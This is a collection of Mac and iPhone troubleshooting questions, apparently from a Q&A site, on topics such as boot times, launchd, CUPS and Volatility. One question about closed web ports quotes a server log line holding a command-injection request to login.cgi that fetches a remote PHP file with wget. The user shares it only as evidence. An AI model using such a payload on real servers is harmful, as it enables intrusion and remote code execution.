I've tried shutting down my other network devices while troubleshooting and don't believe that there is some network service causing the problem.

Is there a way to check what's keeping PreventSystemSleep active? Is there a way to disable it?


texts: Why does it take so long to boot and shut down my MacBook Air?

texts: It takes about 90 seconds to boot and shut down my MacBook Air. I have got it this year.  I have checked numerous things on the Internet but they don't help at all. What do I do?


texts: Fast external startup-disk for Macbook Air: SSD1 or Thunderbolt?

texts:
I bought a MacBook Air 13.3″ i7 8 GB RAM 128 GB SSD (early 2014) some months ago and found out that the 128 GB are definitely not enough!

To somehow rectify my problem I though of buying a fast external HD, make it bootable and do everything from there (I need the space on my startup disk because of the big iTunes collection, at least 500 MB).

In order not to slow down the whole computer too much I’m not sure if I'd better buy an external SSD1 with USB3 or a Thunderbolt 1 disk (for some reasons there are no SSD1 with Thunderbolt). The transfer speed is faster on the Thunderbolt but there might be other problems involved with it, I don’t know, The original disk on the mac is a flash storage, so maybe SSD1 via USB3?

I add here two examples of these external HDs I’m talking about in order to make the comparison easier, maybe some of you might give me some good advice.

SSD1:
http://www.samsung.com/global/business/semiconductor/minisite/SSD/global/html/portablessdt1/specifications.html

Thunderbolt:
http://www.buffalotech.com/products/portable-hard-drives/portable-hard-drives/ministation-thunderbolt


texts: Is there a way to view the email source HTML in the iOS Gmail.app? Show original is available on desktop browsers. I haven't been able to find it on the app.


texts: How does Parallels' CPU and ram usage work? When to shutdown virtual machine?

texts:
I run Windows 7 using Parallels in host operating system OSX.
I have it configured to use 2GM ram and 2 cores on a Retina MacBook Pro with 8GB ram.

I'm curious under what conditions I will experience a performance hit either in terms of CPU usage. Ultimately, I'm interested in whether it is best when Windows 7 in parallels is not in active use, to:

(a) suspend Windows 7 in Parallels
(b) shut down Windows 7 in Parallels
(c) Quit parallels completely

Initial observations

Using the activity monitor, I noticed the following:

When idle the Windows 7 virtual machine prl_vm_app was using around 2GB of ram and 2 to 2.5% of CPU
When Windows 7 was suspended or turned off the process disappeared completely

In addition, when Parallels was running with a virtual machine runnning or not, it used around 200 MB and about 0.5% of cpu.

So my initial conclusion is that if you are short on ram, then suspending or shutting down the virtual OS is a good idea. There is also some small background CPU usage if you don't shut it down.
However, I'm worried that I'm missing something.

Questions

Does running a virtual machine running in Parallels on OSX use additional CPU or other resources over and beyond the CPU usage indicated in Activity Monitor? For example does it reserve cores?
Are there any good rules of thumb about whether or when to suspend the virtual machine?


texts: Problems with calendar updating from Outlook

texts: Recently my i-phone 5 stopped updating my outlook calendar.  I can update on the phone and it transfers to my computer but not vice-versa.  I am running Windows 7 Outlook 365 and ios 7 (I have not updated to 7.1.1).


texts: Can iCloud see apps I download if i use a different Apple ID for theApp Store

texts: I know that I can use separate Apple ID's for iCloud and the App Store. However does this make them totally separate? In other words, if I am using different Apple ID's for iCloud and the App Store, will iCloud still be able to see the apps I download and will iCloud be able to see that I've logged into a different Apple ID for the App Store? (assuming I never backup my phone or restore a backup)


texts: Does Power Nap sync Safari bookmarks and browsing history?

texts:
By what I could read in article
How Power Nap works on your Mac
https://support.apple.com/en-gb/ht204032

Power nap seems not to sync Safari bookmarks nor browsing history, at least it's not mentioned in the list of dos.  Anyone can confirm if this is the case?


texts: How to avoid auto-disable Low Power Mode on iOS9 when charging

texts:
In iOS9, when Low Power Mode is activated, and you are charging your iPhone, when charge percentage gets to 80%, the iPhone disables Low Power Mode automatically.

Is there any way to avoid this automatic change and let Low Power Mode remain activated?


texts: How to install Monkeysphere on OSX El Capitan

texts:
I tried to install Monkeysphere via Homebrew but it complains of an unmet dependency.

monkeysphere: Unsatisfied dependency: Crypt::OpenSSL::Bignum
Homebrew does not provide Perl dependencies; install with:
   cpan -i Crypt::OpenSSL::Bignum
Error: An unsatisfied requirement failed this build.

So I attempted to run the aforementioned command and towards the end it errors out.

Writing Makefile for Crypt::OpenSSL::Bignum
Writing MYMETA.yml and MYMETA.json
cp Bignum/CTX.pm blib/lib/Crypt/OpenSSL/Bignum/CTX.pm
cp Bignum.pm blib/lib/Crypt/OpenSSL/Bignum.pm
/usr/bin/perl /System/Library/Perl/5.18/ExtUtils/xsubpp  -typemap     /System/Library/Perl/5.18/ExtUtils/typemap -typemap typemap  Bignum.xs > Bignum.xsc && mv Bignum.xsc Bignum.c
Please specify prototyping behavior for Bignum.xs (see perlxs manual)
cc -c   -arch x86_64 -g -pipe -fno-common -DPERL_DARWIN -fno-strict-aliasing -fstack-protector -Os   -DVERSION=\"0.06\" -DXS_VERSION=\"0.06\"  "-I/System/Library/Perl/5.18/darwin-thread-multi-2level/CORE"  -DPERL5 -DOPENSSL_NO_KRB5 Bignum.c
Bignum.xs:5:10: fatal error: 'openssl/err.h' file not found
#include <openssl/err.h>
     ^
1 error generated.
make: *** [Bignum.o] Error 1
KMX/Crypt-OpenSSL-Bignum-0.06.tar.gz
/usr/bin/make -- NOT OK
'YAML' not installed, will not store persistent state
Running make test
Can't test without successful make
Running make install
Make had returned bad status, install seems impossible


texts: How to find out process owner of unidentified windows?

texts:
I have an odd error that I have not been able to associate with an application or PID properly.

In Windows, there is Process Explorer with the very handy target function that allows you to click it and then select a window to find the owner process:

Is there a way to do something similar in OS X that will allow me to find a seemingly orphaned window's owner such as this:

I have terminated every single process that can be terminated with the window manager running in OS X and yet I can still not isolate the owner.


texts: How to export and read .txt files using iPhone?

texts:
I've some text files (a few thousand lines each) on my PC. How can I transfer them  to the iPhone so that I can do my reading on-the-go?

(Sure I could simply email them to myself, but I'm looking for a more convenient and less time-wasting solution.)


texts: OS X Lion - download once and install on multiple computers

texts: I have multiple computers which I will be installing Lion on. Is it possible to download it once and install on those computers?


texts:
How do I quickly inspect an element using Safari's Web Inspector, preferably by keyboard shortcut?

Expected functionality

In Chrome, command+shift+c enables the function and the mouse then selects an element.

How things work in Safari

In Safari, the same combo seems to work, but only if Web Inspector is selected. Here are some example scenarios:

Web Inspector is not open. Pressing command+shift+c does nothing.
Web Inspector is not open. Pressing command+option+i opens and selects Web Inspector, so following up with command+shift+c enables inspection mode.
Web Inspector is open, but user has interfaced with web site and Web Inspector is not selected. Pressing command+shift+c does nothing and pressing command+option+i closes Web Inspector.


texts: Does 64-bit compatibility matter with files/documents?

texts: macOS Catalina runs only on 64-bit, so when I reload my existing Microsoft Office files, will they be "read only"?


texts: Cannot restore live photo back to camera roll

texts:
Since iPhone 6S, Apple introduced "live photo" for taking a picture with a short 3 second clips. With the 3D touch feature, the user can see the picture in motion, which is great for capturing kids activities, etc.

There are several photo backup solutions claiming they can backup live photos[1] [2] [3], but actually none of them seems to be able to restore to its original state.

What I mean is when backup take place, it upload both still image (JPEG) and motion clip (.MOV) to the server, but during restore, it's either only the JPEG got put back to camera roll or MOV also got put back to camera roll but as a separated file. The 3D touch functionality is completely broken after restore.

Does anyone has the same issue or know the internal for getting it to work with 3D touch again?

[1] https://9to5mac.com/2016/03/07/google-photos-live-photos-split-view-ipad-pro/

[2] https://www.photosync-app.com/photosync/en/newsarticle/photosync-31-for-ios-released.html

[3] https://forum.synology.com/enu/viewtopic.php?t=105395


texts:
My 2017 13inch MacBook pro is randomly shutting down.  The battery is 82% or higher.  when I try to turn it back on I get a screen with a battery that looks like it needs charging.  I have to connect to power to turn it back on.  when I do this the battery has the same charge of 82%.
Is my computer dying after only 3 years?


texts: How to disable "changing a repeating event" dialog in Mac calendar?

texts:
I have a number of repeating events in Calendar (formerly iCal).

I often make changes to individual ones on-the-go, but every time it asks me this:

How can I make the default behaviour change a single event without that dialog appearing?

I suspect there could be a Terminal command I can run.

BONUS: Then, if I want to edit the series, can I still use the Get Info interface?


texts: My launchAgent service is launching my application multiple times even if configuration has RunAtLoad true and OnDemand true(default)

texts:
My purpose is to launch my application during every login but is being launched multiple times.

I copied my below plist file in to /Library/LaunchAgents and gave root ownership and chmod 600

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>Label</key>
        <string>en com.test.UserAgent</string>
        <key>ProgramArguments</key>
        <array>
                <string>/Applications/Test/Test Agent.app/Contents/MacOS/Test Agent</string>
        </array>
        <key>RunAtLoad</key>
        <true/>

</dict>
</plist>

When I login it loads and I can see it in launchctl list as

825 0   com.test.UserAgent

825 ==> Pid of my running application

When I quit my agent manually I see

_   0   com.test.UserAgent

- ==> Which means application is currently not running

Then I relaunched my application manually

I see this in launchctl list

7075    0   com.test.workagent.30264

7075 ==> Pid of my application running

After some time my launchd is also trying to load launch agent service I see another instance of my application is being run.

8124    0   com.test.UserAgent ==> LaunchAgent Service

7075    0   com.test.workagent.30264. ==> Manually launched from applications

Expected behaviour is launch agent service should not launch my application again other than during login time

P.S:  My Application is an agent with below setting in info.plist

Application is agent (UIElement) : YES


texts: How can I open downloaded applications on a MacBook Pro Guest Account?

texts: I'm currently using a guest account on my friend's MacBook Pro that he rarely uses while mine is getting repaired (I have his password and login info and everything, but I prefer to use a guest account so as not to get my files and accounts and stuff mixed in with his). There's a game he gave me permission to download that I want to play, but it keeps telling me I don't have permission to open it on the guest account--how do I give the guest account permission?


texts: USB Devices not working on Catalina after water spilled over keyboard

texts:
The other day I spilled water on my MBP 2017 keyboard. I let it dry for 48 hours before turning it on again. And it ran fine.

Ever since that spill, however, I have not been able to use my USB wired mouse on my macbook. Power still runs through it (Charges my iPhone, Powers USB LED) but it does not detect any devices anymore like my USB Wired Mouse.
When I check System Report, it doesn't state any devices plugged in.

I tested the mouse on my PC and it works fine.
I've tried several different USB C to A adapters. Same result.
I tried restarting several times.

Is this a software issue or perhaps it's due to water damage?

EDIT: It still detects my USB Flash Drive, how is this possible?

SMC doesn't seem to reset when I try to..? Is it normal to immediately fast-boot after performing an SMC reset?


texts: When using Volatility with a memory image, what is the Kernel version?

texts:
The Volatility memory forensics framework github website lists these Mac profiles for OS 10.11:

Profiles
--------
MacElCapitan_10_11_15A284x64            - A Profile for Mac ElCapitan_10.11_15A284 x64
MacElCapitan_10_11_1_15B42x64           - A Profile for Mac ElCapitan_10.11.1_15B42 x64
MacElCapitan_10_11_2_15C50x64           - A Profile for Mac ElCapitan_10.11.2_15C50 x64
MacElCapitan_10_11_3_15D21_15D13bx64    - A Profile for Mac ElCapitan_10.11.3_15D21_15D13b x64
MacElCapitan_10_11_4_15E27ex64          - A Profile for Mac ElCapitan_10.11.4_15E27e x64
MacElCapitan_10_11_4_15E39dx64          - A Profile for Mac ElCapitan_10.11.4_15E39d x64
MacElCapitan_10_11_4_15E49ax64          - A Profile for Mac ElCapitan_10.11.4_15E49a x64
MacElCapitan_10_11_4_15E65x64           - A Profile for Mac ElCapitan_10.11.4_15E65 x64
MacElCapitan_10_11_5_15F18b_15F24bx64   - A Profile for Mac ElCapitan_10.11.5_15F18b_15F24b x64
MacElCapitan_10_11_5_15F34x64           - A Profile for Mac ElCapitan_10.11.5_15F34 x64
MacElCapitan_10_11_6_15G1004_15G1108x64 - A Profile for Mac ElCapitan_10.11.6_15G1004_15G1108 x64
MacElCapitan_10_11_6_15G1212x64         - A Profile for Mac ElCapitan_10.11.6_15G1212 x64
MacElCapitan_10_11_6_15G1217x64         - A Profile for Mac ElCapitan_10.11.6_15G1217 x64
MacElCapitan_10_11_6_15G12ax64          - A Profile for Mac ElCapitan_10.11.6_15G12a x64
MacElCapitan_10_11_6_15G1421x64         - A Profile for Mac ElCapitan_10.11.6_15G1421 x64
MacElCapitan_10_11_6_15G1510x64         - A Profile for Mac ElCapitan_10.11.6_15G1510 x64
MacElCapitan_10_11_6_15G1611x64         - A Profile for Mac ElCapitan_10.11.6_15G1611 x64
MacElCapitan_10_11_6_15G17023x64        - A Profile for Mac ElCapitan_10.11.6_15G17023 x64
MacElCapitan_10_11_6_15G18013x64        - A Profile for Mac ElCapitan_10.11.6_15G18013 x64
MacElCapitan_10_11_6_15G19009x64        - A Profile for Mac ElCapitan_10.11.6_15G19009 x64
MacElCapitan_10_11_6_15G19ax64          - A Profile for Mac ElCapitan_10.11.6_15G19a x64
MacElCapitan_10_11_6_15G20015x64        - A Profile for Mac ElCapitan_10.11.6_15G20015 x64
MacElCapitan_10_11_6_15G24b_15G31x64    - A Profile for Mac ElCapitan_10.11.6_15G24b_15G31 x64
MacElCapitan_10_11_6_15G7ax64           - A Profile for Mac ElCapitan_10.11.6_15G7a x64

The Mac I am trying to analyze has this About box:

Here is the uname output:

users-Mac:~ user$ uname -a
Darwin users-Mac.local 15.6.0 Darwin Kernel Version 15.6.0: Thu Jun 23 18:25:34 PDT 2016; root:xnu-3248.60.10~1/RELEASE_X86_64 x86_64
users-Mac:~ user$

I have tried all of the Volatility profiles and none of them work.

What does the string in the volatility profile after the 10_11_6_ mean, and how do I find it for my machine?


texts: How can I test with Internet Explorer while on my Mac?

texts: I work on a Mac, but most of my users are on Windows. What's an easy way to test my websites in IE 7, 8, & 9?  Wine seems kinda buggy and unfriendly.


texts:
I just switched from Android to Apple after several years and I am still getting used to iPhone iOS.
I imported my work calendar (Exchange) into my iPhone and it works fine, I can create, accept and refuse appointments with my iPhone without any problems.
Now I want to share this (Exchange) calendar with my girlfriend, so we can plan lunch pause and stuff like that easier, but I can't find a way to do it, since the Exchange calendar is not an iCloud calendar.
Is there a way to clone my appointments from my Exchange calendar to my iCloud calendar? (So I can share my iCloud calendar with her)
Or is there any other way for doing this?


texts: I don't quite understand on the Internet I couldn't really find anything useful. What is the individual user there for exactly? The terminal that is used in single user mode can also be used in the recovery partition?


texts: Constantly re-entering Apple ID on AirPort Extreme

texts:
We have a MacBook, iMac, two iPads, and two iPhones, all of them using the same Apple ID with no complaint.  But the AirPort Extreme says "incorrect Apple ID or password" every time I look at the Airport Assistant.  I re-enter ID and password, and they are accepted every time—status turns green.  Then within two hours, it is amber again and claiming invalid ID or password.

All six devices have the latest O.S. or firmware.  The WiFi continues to work through the error.

Why?  Corrective action?


texts: I just upgraded to 10.8.4; I had to do this by downloading the update .dmg from Apple as my computer has decided on its own to opt-out of software updates. Both the App Store and softwareupdate report that there are no updates available even though I know full well that there is a Java update and iTunes is not the latest version. What is wrong with it?


texts: Recover data from disabled iPhone with known passcode

texts:
my friend broke his iPhone 4S digitizer in very unhappy way. He didn't have backup or synced computers and he had cellular data turn off.

I successfully replaced digitizer and turn on the iPhone. Whow! Your iPhone is disabled for 47 years. Okay, so normally after battery replacement iPhone time is flushed and after reboot new time is fetched over NTP via cellular data, synced PC or already signed Wi-Fi. Not working in this case..

So theoretically there are two possible solutions:

Somehow fetch or rewrite correct clock's value
Mount NAND flash drive, export keys from CPU, merge it with
passcode, decrypt data

Any advice or experiences?

Thanks!


texts: Keynote no longer free on my OS X Mavericks

texts: I received "You have iWork apps for OS X Mavericks available." notification and went to install the suite from the App Store. Keynote was stuck on waiting, so I clicked the 'x' icon and now it has disappeared from the purchased tab. In launcher it's still showing up as "waiting", and in the App Store it's now a $19.99 purchase instead of free.


texts: Can I install Mojave on boot drive and still keep Catalina running

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I’ve tried a few times now but I get a message ‘you need to update to a later os’ when I try to boot up from the external.

It would seem that Catalina doesn’t like it. I still want Catalina installed but I need Mojave as an external boot drive.

Any ideas anyone?


texts: Using Screen Sharing app, all remote Mac screens appear pixellated

texts:
I've got a couple of Macs that I regularly screen share to using the build-in Screen Sharing app:

A month or two ago, both started looking very pixellated when viewed — text is very difficult to read.

Here's an example:

My first thought was that this was related to Screen Sharing's scaling or quality settings, but I've tried all combinations of both to no avail.

I shrugged it off as a broken update or something, and didn't think anything of it.

Until I screen shared from a different Mac, and both of the remote Macs looked great again:

The problem source Mac specs:

macOS Sierra 10.12.2 (16C67)
MacBook Pro (Retina, 15-inch, Early 2013)
NVIDIA GeForce GT 650M 1024 MB
Intel HD Graphics 4000 1536 MB
Screen Sharing v1.7.1 (494.15)

The working source Mac specs:

macOS Sierra 10.12.2 (16C67)
Mac mini (Mid 2011)
Intel HD Graphics 3000
Screen Sharing v1.7.1 (494.15)

Any idea what's going on here? How do I make screen sharing great again?


texts: How do I use my existing KeePass database on my new iPad without iTunes on a computer?

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I'm a Linux user who bought an iPad. I'm also an Infosec pro who uses the KeePassX password manager. All my passwords are too long to type on the iPad - so I want to use my password manager on iPad. I installed MiniKeePass on the iPad - and with some difficulty (had to type in the password for one service), moved the database (.kdbx) to iPad. I used the export/share functionality to make the kdbx to make it available to MiniKeePass app.

I'm stuck here. I need to move my Key File too.

I can't find any way to get the Key File into MiniKeePass. The standard export/share functions don't seem to work for plain text files without extensions.

All the advice I got so far is "Use iTunes". I'm a Linux user; no Windows / Mac or even Wine.

Any suggestions?


texts:
I'm setting up a basic time registration form for declarable hours spent on a project.
The layout is easy: date — time from — time until — description.
I want a cell-value to contain the sum of hours worked on a project (time until - time from).

I would say the correct formula would be =SOM(SOM(D9-C9):SOM(D40-C40)) (I'm using the Dutch version). But this isn't working. My registration starts from row 9.


texts: Lauchd - Run task multiple times between time interval

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I want to run a script every 15 minutes between 12:00 AM and 4:00 AM.  Is there a way to do that with launchd?

I know you can specify and array of dictionaries using StartCalendarInterval to accomplish this, but I would like to easily be able to change the interval if I so desire.  I was thinking something along the lines of combining StartCalendarInterval with StartInterval, but I don't know how I would specify a stopping time.

The other alternative is to check the time in my script I'm running, but once again, I think I'd rather use launchd to accomplish the task in case I want to add more scripts.

I'm pretty sure this can be done with cron as well (We could put it here for reference if anyone knows how), but I want to stick with launchd since Apple seems to be phasing out cron.


texts:
MacBook Pro with Mavericks after resume, HTTP doesn't work but HTTPS does. No firewall, no proxy. HTTP does work in virtualized machines (everyone, one Ubuntu, one Windows 7 and a Windows Server 2008)

You just try in terminal telnet whateverdomain.whatevertopleveldomain 80 ...just nothing.

I'm lost


texts: Trackpad and keyboard of MacBook Pro unresponsive

texts:
My MacBook Pro (2014 model) trackpad and keyboard suddenly became unresponsive few days ago and I took it to the apple repair shop.
Today they informed me it's a top case problem. I am curious, why would a top case cause problem in the trackpad and keyboard. Also, I have been taking great care of the MacBook, why is there a problem in the top case ? Is it because it is a defected unit and can I get a replacement?


texts: Can I recover pictures from waterlogged phone?

texts: So, my iPhone 6 fell in a pool and will not turn on. I tried plugging it in but somehow the charger port (like where you plug the charger in) is deformed or something because the charger will only go in about halfway. I'm sure this makes the usual methods of data recovery a bit more complicated. Is it possible to still recover my photos?


texts: Have iTunes on Mac show the iPad with wi-fi

texts:
Usually, when I launch iTunes on my Mac and I have my iPad on nearby, iTunes shows the iPad at the top right. Then I can do a backup of my iPad in wi-fi.

Sometimes, randomly, iTunes fails to show the iPad, and I have to plug the iPad to the Mac so that it appear in iTunes.

I have encountered this problem with my 2 iPads.

How can I have iTunes show the iPad ?
Besides, it would help to know what conditions trigger the failure.


texts: iTunes music available from iPad iTunes to iPhone iTunes?

texts: I used iPad 2 a long time before getting iPhone 4S so all my music is on there. Now I cannot get the music from iPad to iPhone. How can I do it?


texts:
Some background info:

I am managing a CUPS printserver with printqueues for all the user accessible printers.
The macOS clients get their printqueue set up as IPP via script. Once the printjob has moved from the clients local CUPS to the CUPS on the printserver the username of the printjob has to match a user known by the server, or the user will not be able to manage the printjob if it gets stuck etc. and has to call an admin for help, which adds up to a lot of work.

With older versions of macOS/CUPS it was sufficient to have EXPORT CUPS_USER=username in the .bashrc of the user. However this is no longer working with catalina (last tested by me under 10.15.5).

Reading the latest CUPS manpage, I also tried setting user username in ~/.cups/client.conf to no avail.

So how would I go about changing the username in the latest version of CUPS?


texts:
I understand how to set the cover ("key") photo of an Apple Photos album, but I can't see how to change the cover photo of a "shared" (copied) album.

How do I set the cover photo of a "shared" Photos album?


texts: Is it normal for fans to run at 6,000+ rpm at <20% CPU load?

texts:
I have a 2011 Macbook Pro 15" running Sierra.

The Macbook's fans are annoying me to no end - they are running most of the time I do serious work, right from the minute I start. It can get hot here in the summer, but it happens also at reasonable room temperatures, like right now, at 23°C (73°F).

Here's a graph of my CPU load over an extended period of time, looking fairly relaxed to my eyes:

yet the fan is running constantly:

This has been happening for the past three versions of OS X, so it's nothing version specific. (I started thinking that maybe this isn't normal only recently.)

Things I have tried:

Made sure there are no processes running in activity monitor that hog a lot of CPU time (my work tends to be CPU/GPU intensive though, Photoshop, IDEs, etc. open in parallel all the time)
Reset NVRAM and SMC, many times
Opened the device and removed a giant piece of lint from behind the air ducts (I was sure that'd fix it):

(I didn't do anything else in there other than remove the easily accessible, obvious blockage, though)

Is this normal? Is there anything I can do? Is there some unofficial way to get to the CPU, and maybe apply some better thermal paste? Is there some other potential bottleneck that I should look at other than CPU?

The machine is perfectly usable for me otherwise despite its age (after a RAM and SSD upgrade).


texts: Can the contents of a partition be recovered after partition table is overwritten?

texts:
I ran a command to make my external hdd bootable knowing that it was risky considering the command itself did not allow me to specify a partition to which to write. (In hindsight, I would now call this a stupid decision - but at the time, I tried this command:)

$ sudo dd if=/Users/MyUser/Downloads/Fedora-17-x86_64-Live-Desktop.iso \
> of=/dev/disk1 bs=1m

For which the output I received was:

645+0 records in
645+0 records out
676331520 bytes transferred in 98.578444 secs (6860846 bytes/sec)

I knew right away that it was fishy since /dev/disk1 was split into three partitions, all of which were hfs.  Since it's next to impossible to find good information on making a bootable partition from an external USB device, I tried this in spite of the risks.

I did no further writing to my external HDD after this point, since now the only partition I see when I mount the drive is 'Fedora 17.'

What is the likelihood of recovering the files I had stored in my Backup partition?  And how should I have done this in the first place?

NOTE: This is how my partitions were before I tried dd.

$ diskutil list
/dev/disk0
#:                       TYPE NAME                    SIZE       IDENTIFIER
0:      GUID_partition_scheme                        *160.0 GB   disk0
1:                        EFI                         209.7 MB   disk0s1
2:                  Apple_HFS Macintosh HD            159.7 GB   disk0s2
/dev/disk1
#:                       TYPE NAME                    SIZE       IDENTIFIER
0:      GUID_partition_scheme                        *1.0 TB     disk1
1:                        EFI                         209.7 MB   disk1s1
2:                  Apple_HFS Linux                   50.0 GB    disk1s2
3:                  Apple_HFS Backup                  500.0 GB   disk1s3
4:                  Apple_HFS Misc                    449.6 GB   disk1s4


texts: Kali not showing in Kali-OSX dual boot on Macbook Pro

texts:
Some context:

I have a Macbook Pro with OSX Mojave
I installed Kali Linux
Boot defaulted to Kali
If I wanted to boot OSX I had to hold down the option key on boot.
When selecting boot drives, Kali never showed up; only OSX.
Today boot defaulted to OSX
Kali still doesn't appear even though it's installed.

My question: How can I boot Kali now that boot defaults to OSX?

Any help is much appreciated.


texts: ports 80 and 443 suddenly closed on macos server

texts:
short story

Ports 80 & 443 seems to be closed on my MacOS Server (checked with Network Utility) -- cannot access any website from both local network and internet.

Have restarted the websites service & rebooted the server few times.

How to re-open ports 80 & 443?

long story

I have couple of websites hosted on my MacOS Server with the Websites service.

It was working okay until 2 days ago.

Yesterday I realised that I wasn't able to access any of the server's website neither via local network nor from the internet. After the investigation I realised that ports 80 and 443 aren't open on the server machine.

I have restarted the server couple of times, turned off and back on the Websites service, no change.

I cannot see anything too bad in the logs, apart from kinda weird request that seems to be the last access to the web server from the 'outside' world and reads as follows:

default 88.207.212.19 - - [23/Feb/2019:11:59:10 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://128.199.251.119/t.php%27$ HTTP/1.1" 302 331 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"

I run the older version of Server app - 5.6.3 on MacOS 10.13.6

I have not installed/updated nor changed anything on the Server or my local network in past few days.

update

I've noticed that I have a loads of entries in the server's system log:

... com.apple.xpc.launchd[1] (com.apple.serviceproxy[__various port numbers__]): Service exited with abnormal code: 1
... com.apple.xpc.launchd[1] (com.apple.serviceproxy): Service only ran for 0 seconds. Pushing respawn out by 10 seconds.

regardless of websites service running or not


texts: How to export only the selected part of my Numbers file to PDF?

texts:
I have a Numbers file which has a lot of elements that when I want to export it to PDF it becomes 12 pages of A4 size. All I want is selecting part of it and exporting only that part to PDF. Is it possible?

If yes, how? please help me.

By the way, I am using Numbers 4.3(5046)


texts: Ruby 2.0.0 fails to install because of openssl

texts:
I can't install ruby from source, on configuration (./configure) it states

Ignore OpenSSL broken by Apple.
Please use another openssl. (e.g. using `configure --with-openssl-dir=/path/to/openssl')
Failed to configure openssl. It will not be installed.

Even if I use the told parameter. --with-opt-dir=/usr/local doesn't help either. Notice, I installed the latest openssl (1.0.1e) from source too (it's located at /usr/local/ssh).

So later I can't use gem install, it just states:

ERROR:  Loading command: install (LoadError)
    cannot load such file -- openssl
ERROR:  While executing gem ... (NoMethodError)
    undefined method `invoke_with_build_args' for nil:NilClass

How can I tell the ruby installation to take my installed openssl?


texts:
When I search a file in Spotlight, it provides me a good result. But the problem is that I want to open the file in Finder, instead of directly opening the file in an application. How can I open in searched files in Finder, meaning that I want to open the folder that contains the searched files in Finder?

If I can do what I want in another application like Alfred, that will be also wonderful.


texts:
I have two Mail.app plug-ins installed: "GPGMailLoader.mailbundle" and "Smallcubed MailSuite.mailbundle".  Currenly, GPG is enabled, and works, and MailSuite is disabled.

However, when I toggle either plugin (i.e. MailSuite to on or GPG to off), and restart Mail, the change hasn't taken.  So I cannot use MailSuite, nor disable GPG.

I have tried:

Reinstalling MacOS Mojave in-place (did not fix).
Creating a new user (everything works for new user).

How can I further investigate this?


texts: Charging Macbook Pro with lower wattage from display is bad for battery health?

texts: I have a 16" MBP and a external display with thunderbolt 3 capabilities. The display can charge devices with 85w, but the MBP needs 97ish. The question here is: is it bad for the battery to charge the computer and use it at the same time if you are consuming more energy that the charger could deliver?


texts:
Running dtruss on 10.14.4 (Xcode 10.2) gives me this:

tmp$ sudo dtruss ./ls
dtrace: failed to enable '
 #pragma D option quiet

 ': Failed to enable probe
CSCppMachTaskContainer pid_for_task failed for task 20003, err 5CSCppMachTaskContainer...

This is not a code signing issue (I resigned that ls I'm running). I also already disabled System Integrity Protection so it's not that either. Did anyone see this?


texts: elementor no-repeat css value works randomly on unique single post template

texts:
I'm working on our WP website with elementor pro template builder. I have one single post template that I'm using for all the posts. The background "hero" image of the header section is the featured image of the post.
In the following post (with firefox/Chrome Mac) no-repeat value doesn't work:
https://dev.mkorke.net/patagonie/centolla/
In the following post (with firefox/Chrome Mac) no-repeat value does work:
https://dev.mkorke.net/argentine/ocelot-ou-leopardus-pardadis/
Both examples supposedly use the same single post template with background values as:
...background-image: url("photograph.jpg");
min-height: 60%;
background-position: center;
background-repeat: no-repeat;
background-size: cover;...
In the single post template, if I change the value to default then back to no-repeat, it works again, ... until it doesn't.
What am I missing. Thanks for the help


texts: Is it OK to buy a refurbished MacBook Pro?

texts:
I need to buy a MacBook for iPhone development, but I have budget constraints also.
I saw on Apple UK website that they are offering refurbished laptop(s).

So is it OK to buy a MacBook (refurbished) by Apple?

Here is one of the link of refurbished MacBook Pro.


texts: iPhone connect to internet over WiFi using PPPoE

texts: Is there a way to connect my iPhone 4S to the Internet with WiFi when the connection is using the PPPoE protocol?


texts:
When I drag my .pem certificate to the Apple Keychain it shows me "An error occurred. The content of this file cannot be recovered". Also I tried to double-click the .pem file but show me the same error. I tried sudo security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain <certificate.pem> but I get this error SecCertificateCreateFromData: Unknown format in import. Someone know how to solver this?
Note: the certificate that I want to store in my keychain is from AWS EC2 instance.


texts: How do I copy the content of a whole disk on OSX 10.3

texts:
I would like to copy the contents of a whole disk into another folder on an external drive.

it should preserve permissions and timestamps.

on linux i use cp -a but on OSX it seems to be different


texts:
I am thinking of buying the new AirPods Pro but according to the support page, you “need” at least macOS Catalina 10.15.1 in order to use them. However this is surely misleadingly worded since AirPods work with any modern Bluetooth audio host (Windows, Android, etc.). My question is, since I rely on 32-bit apps on Mojave, what exactly does it mean to not have one of the new OSes?

AFAIK no definitive explanation exists, here are the possible differences I’ve gathered (I don’t know which are true):

You’ll have to (gasp) manually pair the AirPods to each device
You’ll need to set up button behavior, size test, etc. on one of the newer OSes but your settings should carry over to all devices
You’ll need to control noise canceling via the button on the AirPods themselves instead of... a nested menu of the volume button on the menu bar (does this include the Touch Bar?)
No audio sharing
Switching between devices might be affected somehow (how?)

Is this correct and is there anything else?


texts: Is it possible to use a 2011 iMac as an external monitor for 2019 Macbook Pro?

texts:
I have a mid 2011 iMac, version 10.13.6 with a thunderbolt port. My work recently gave me a 2019 Macbook Pro with a thunderbolt 3 port. Is it possible to use the iMac as an external monitor? If so, what kind of cable(s) would I need?
My work also supplied my with a Zmuipng 7 in 1 adapter but not sure if that will help with this or not.
Thanks very much!


texts: how to reactive the lost mode on iPhone 5

texts: I upgraded my phone to iPhone 6 and in the process of erasing data etc on my iPhone 5, i somehow put the lost mode in find my phone.  I have since sold my iPhone 5 and now it is still linked to my current apple id.  How do i deactivate the lost mode lock on my old phone?


texts: Set Mac to use Wifi for Internet, Ethernet for local file transfer

texts:
Is there a way to make my Mac always choose Wifi for Internet browsing, and Ethernet for local network browsing and file-sharing?

My Wifi Internet download speeds are approaching 100Mbps, but when I'm connected via Ethernet, I only get 15Mpbs.

However, when transferring files via Wifi it is the complete opposite. A 1GB file might take a few minutes, whereas over Ethernet, it's done in a fraction of that time.

I know I can't make my Ethernet connect to my Internet faster because of the hardware limitations of my house. But I guess I could try and work out why my Wifi file transfer is so slow.

But for sake of Stack Exchange, my only questions is as stated in the first sentence.


texts: Iphone 6 plus IOS 8 will only display the apple logo when turned on or connected to computer

texts:
after the logo is displayed it will shut off again. Interesting leading up to this problem my phone was having some display problems, it would not show the background on the lock screen then it would freeze after the password was typed in. I did drop it on a wood floor earlier... But nothing too hard. Interested in any fixes that don't involve going to a store or repair shop.
Thanks
Update
I pressed the home and lock buttons until the apple logo cycled twice then the connect to itunes logo appeared,
last time this happened I pressed both the buttons again until the lock screen appeared.
This time I connected to itunes, it said the iphone will be updated but may need to be restored.
